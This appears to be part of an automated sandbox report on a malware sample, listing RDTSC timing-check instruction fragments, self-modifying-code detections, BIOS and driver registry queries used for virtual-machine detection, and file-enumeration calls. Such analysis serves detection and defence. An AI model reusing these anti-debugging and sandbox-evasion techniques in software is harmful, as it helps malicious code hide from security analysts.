Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A615A second address: 13A6160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9791 second address: 13A97C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC850CE3D36h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FC850CE3D3Ah 0x00000011 popad 0x00000012 jbe 00007FC850CE3D40h 0x00000018 jmp 00007FC850CE3D3Ah 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FC850CE3D3Ah 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A97C9 second address: 13A97CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A97CD second address: 13A97E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A97E8 second address: 13A9803 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC8515781D6h 0x00000008 jmp 00007FC8515781E1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9803 second address: 13A9809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9C47 second address: 13A9C55 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC8515781D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A9C55 second address: 13A9C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC850CE3D36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3AC6 second address: 13B3ACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3ACC second address: 13B3AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC850CE3D36h 0x0000000a jmp 00007FC850CE3D48h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3AEF second address: 13B3AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3AF5 second address: 13B3AF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3AF9 second address: 13B3AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B21B8 second address: 13B21BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B21BE second address: 13B21E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781E0h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 js 00007FC8515781D6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B21E0 second address: 13B21FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC850CE3D46h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B21FB second address: 13B2213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d jmp 00007FC8515781DBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B2213 second address: 13B222D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC850CE3D36h 0x00000008 jmp 00007FC850CE3D40h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B222D second address: 13B2233 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B239C second address: 13B23A6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC850CE3D36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B23A6 second address: 13B23C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jp 00007FC8515781D6h 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC8515781DBh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B23C5 second address: 13B23C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B27D6 second address: 13B27E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B27E5 second address: 13B27F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FC850CE3D36h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B3966 second address: 13B396A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B396A second address: 13B3970 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BACF9 second address: 13BACFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAE51 second address: 13BAE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAE57 second address: 13BAE5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAE5C second address: 13BAE64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAE64 second address: 13BAE68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAE68 second address: 13BAE6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAE6C second address: 13BAE79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BAE79 second address: 13BAE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD635 second address: 13BD63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD63B second address: 13BD63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD63F second address: 13BD645 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD4E2 second address: 13BD4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC850CE3D38h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD96F second address: 13CD973 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD973 second address: 13CD984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC850CE3D36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD984 second address: 13CD98A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD98A second address: 13CD990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD990 second address: 13CD9B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b jo 00007FC8515781E6h 0x00000011 jmp 00007FC8515781E0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CD9B1 second address: 13CD9C9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC850CE3D38h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FC850CE3D36h 0x00000012 jnp 00007FC850CE3D36h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D3356 second address: 13D335C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D335C second address: 13D3362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC550 second address: 13DC55C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC8515781DEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DC55C second address: 13DC582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC850CE3D47h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007FC850CE3D36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDD84 second address: 13DDD8C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DDD8C second address: 13DDD92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1304152 second address: 1304165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FC8515781DEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DF635 second address: 13DF647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC850CE3D3Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E14F8 second address: 13E150E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC8515781E0h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E150E second address: 13E1533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007FC850CE3D36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FC850CE3D42h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1533 second address: 13E1537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E9FE5 second address: 13E9FF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FC850CE3D36h 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F0791 second address: 13F07A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC8515781D6h 0x0000000a popad 0x0000000b jne 00007FC8515781D8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F6E0F second address: 13F6E15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F6E15 second address: 13F6E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F6E1B second address: 13F6E21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F84D8 second address: 13F84DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F84DE second address: 13F84E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F84E4 second address: 13F84F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007FC8515781DEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F84F9 second address: 13F8515 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D46h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F8515 second address: 13F8519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F8519 second address: 13F851D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC67D second address: 13FC687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC8515781D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC687 second address: 13FC692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC692 second address: 13FC696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14038CE second address: 14038D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC850CE3D36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14038D8 second address: 14038EB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnp 00007FC8515781D6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14038EB second address: 14038FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FC850CE3D3Ch 0x0000000b jnp 00007FC850CE3D36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14038FC second address: 140390F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781DEh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14005C2 second address: 14005DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC850CE3D44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14005DA second address: 14005DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420EBE second address: 1420EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420EC8 second address: 1420ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141FDA9 second address: 141FDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14205E9 second address: 1420614 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781E6h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC8515781DDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420614 second address: 1420618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420618 second address: 142061E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1420A5F second address: 1420A7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FC850CE3D44h 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007FC850CE3D36h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1422662 second address: 142267B instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC8515781D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC8515781DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1424EC6 second address: 1424ED0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC850CE3D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 142512E second address: 1425138 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC8515781D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1425138 second address: 1425152 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC850CE3D46h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14254A9 second address: 14254F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FC8515781D8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov edx, dword ptr [ebp+12541B12h] 0x0000002a push dword ptr [ebp+122D33D7h] 0x00000030 mov edx, 0708AAC6h 0x00000035 push 4D33132Bh 0x0000003a push esi 0x0000003b push eax 0x0000003c push edx 0x0000003d je 00007FC8515781D6h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14254F2 second address: 14254F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426B1E second address: 1426B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jng 00007FC8515781D8h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f jc 00007FC8515781D6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1426B35 second address: 1426B44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jo 00007FC850CE3D3Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E05AF second address: 59E05DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC8515781DEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov si, dx 0x00000014 push eax 0x00000015 push edx 0x00000016 mov cl, bl 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E05DC second address: 59E05E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E05E0 second address: 59E0603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FC8515781E0h 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx ebx, cx 0x00000015 mov edx, esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0603 second address: 59E0609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59E0609 second address: 59E060D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134044E second address: 1340467 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FC850CE3D36h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007FC850CE3D38h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 118D871 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 133026F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 135C9B1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 118D88F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13BEDC3 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

graph_0-37725

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EB40F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00EB40F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EAE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00EAE530
